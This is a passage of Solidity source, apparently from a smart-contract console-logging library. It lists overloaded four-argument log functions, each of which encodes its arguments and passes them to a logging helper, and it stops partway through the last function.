function log(uint p0, bool p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,uint)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,string)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,bool)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,address)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,uint)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,string)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,bool)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,address)", p0, p1, p2, p3));
}
function log(uint p0, address p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,uint)", p0, p1, p2, p3));
}
function log(uint p0, address p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,string)", p0, p1, p2, p3));
}
function log(uint p0, address p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,bool)", p0, p1, p2, p3));
}
function log(uint p0, address p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,address)", p0, p1, p2, p3));
}
function log(uint p0, address p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,string,uint)", p0, p1, p2, p3));
}
function log(uint p0, address p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,string,string)", p0, p1, p2, p3));
}
function log(uint p0, address p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,string,bool)", p0, p1, p2, p3));
}
function log(uint p0, address p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,string,address)", p0, p1, p2, p3));
}
function log(uint p0, address p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,uint)", p0, p1, p2, p3));
}
function log(uint p0, address p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,string)", p0, p1, p2, p3));
}
function log(uint p0, address p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,bool)", p0, p1, p2, p3));
}
function log(uint p0, address p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,address)", p0, p1, p2, p3));
}
function log(uint p0, address p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,address,uint)", p0, p1, p2, p3));
}
function log(uint p0, address p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,address,string)", p0, p1, p2, p3));
}
function log(uint p0, address p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,address,bool)", p0, p1, p2, p3));
}
function log(uint p0, address p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,address,address)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,uint)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,string)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,bool)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,address)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,string,uint)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,string,string)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,string,bool)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,string,address)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,uint)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,string)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,bool)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,address)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,address,uint)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,address,string)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,address,bool)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,address,address)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint,uint)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint,string)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint,bool)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint,address)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,string,uint)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,string,string)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,string,bool)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,string,address)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool,uint)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool,string)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool,bool)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool,address)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,address,uint)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,address,string)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,address,bool)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,address,address)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,uint)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,string)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,bool)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,address)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string,uint)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string,string)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string,bool)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string,address)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,uint)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,string)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,bool)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,address)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address,uint)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address,string)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address,bool)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address,address)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint,uint)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint,string)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint,bool)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint,address)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,string,uint)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,string,string)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,string,bool)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,string,address)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool,uint)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool,string)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool,bool)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool,address)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,address,uint)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,address,string)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,address,bool)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,address,address)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,uint)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,string)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,bool)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,address)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,uint)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,string)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,bool)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,address)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,uint)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,string)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,bool)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,address)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,uint)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,string)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,bool)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,address)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,uint)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,string)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,bool)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,address)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string,uint)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string,string)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string,bool)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string,address)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,uint)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,string)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,bool)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,address)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address,uint)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address,string)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address,bool)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address,address)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,uint)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,string)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,bool)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,address)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,uint)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,string)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,bool)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,address)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,uint)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,string)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,bool)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,address)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,uint)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,string)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,bool)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,address)", p0, p1, p2, p3));
}
function log(bool p0, address p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,uint)", p0, p1, p2, p3));
}
function log(bool p0, address p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,string)", p0, p1, p2, p3));
}
function log(bool p0, address p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,bool)", p0, p1, p2, p3));
}
function log(bool p0, address p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,address)", p0, p1, p2, p3));
}
function log(bool p0, address p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string,uint)", p0, p1, p2, p3));
}
function log(bool p0, address p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string,string)", p0, p1, p2, p3));
}
function log(bool p0, address p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string,bool)", p0, p1, p2, p3));
}
function log(bool p0, address p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string,address)", p0, p1, p2, p3));
}
function log(bool p0, address p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,uint)", p0, p1, p2, p3));
}
function log(bool p0, address p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,string)", p0, p1, p2, p3));
}
function log(bool p0, address p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,bool)", p0, p1, p2, p3));
}
function log(bool p0, address p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,address)", p0, p1, p2, p3));
}
function log(bool p0, address p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address,uint)", p0, p1, p2, p3));
}
function log(bool p0, address p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address,string)", p0, p1, p2, p3));
}
function log(bool p0, address p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address,bool)", p0, p1, p2, p3));
}
function log(bool p0, address p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address,address)", p0, p1, p2, p3));
}
function log(address p0, uint p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,uint)", p0, p1, p2, p3));
}
function log(address p0, uint p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,string)", p0, p1, p2, p3));
}
function log(address p0, uint p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,bool)", p0, p1, p2, p3));
}
function log(address p0, uint p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,address)", p0, p1, p2, p3));
}
function log(address p0, uint p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string,uint)", p0, p1, p2, p3));
}
function log(address p0, uint p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string,string)", p0, p1, p2, p3));
}
function log(address p0, uint p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string,bool)", p0, p1, p2, p3));
}
function log(address p0, uint p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string,address)", p0, p1, p2, p3));
}
function log(address p0, uint p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,uint)", p0, p1, p2, p3));
}
function log(address p0, uint p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,string)", p0, p1, p2, p3));
}
function log(address p0, uint p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,bool)", p0, p1, p2, p3));
}
function log(address p0, uint p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,address)", p0, p1, p2, p3));
}
function log(address p0, uint p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address,uint)", p0, p1, p2, p3));
}
function log(address p0, uint p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address,string)", p0, p1, p2, p3));
}
function log(address p0, uint p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address,bool)", p0, p1, p2, p3));
}
function log(address p0, uint p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address,address)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint,uint)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint,string)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint,bool)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint,address)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string,uint)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string,string)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string,bool)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string,address)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool,uint)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool,string)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool,bool)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool,address)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address,uint)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address,string)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address,bool)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address,address)", p0, p1, p2, p3));
}
function log(address p0, bool p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,uint)", p0, p1, p2, p3));
}
function log(address p0, bool p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,string)", p0, p1, p2, p3));
}
function log(address p0, bool p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,bool)", p0, p1, p2, p3));
}
function log(address p0, bool p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,address)", p0, p1, p2, p3));
}
function log(address p0, bool p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string,uint)", p0, p1, p2, p3));
}
function log(address p0, bool p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string,string)", p0, p1, p2, p3));
}
function log(address p0, bool p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string,bool)", p0, p1, p2, p3));
}
function log(address p0, bool p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string,address)", p0, p1, p2, p3));
}
function log(address p0, bool p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,uint)", p0, p1, p2, p3));
}
function log(address p0, bool p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,string)", p0, p1, p2, p3));
}
function log(address p0, bool p1, bool p2, bool p3) internal view {
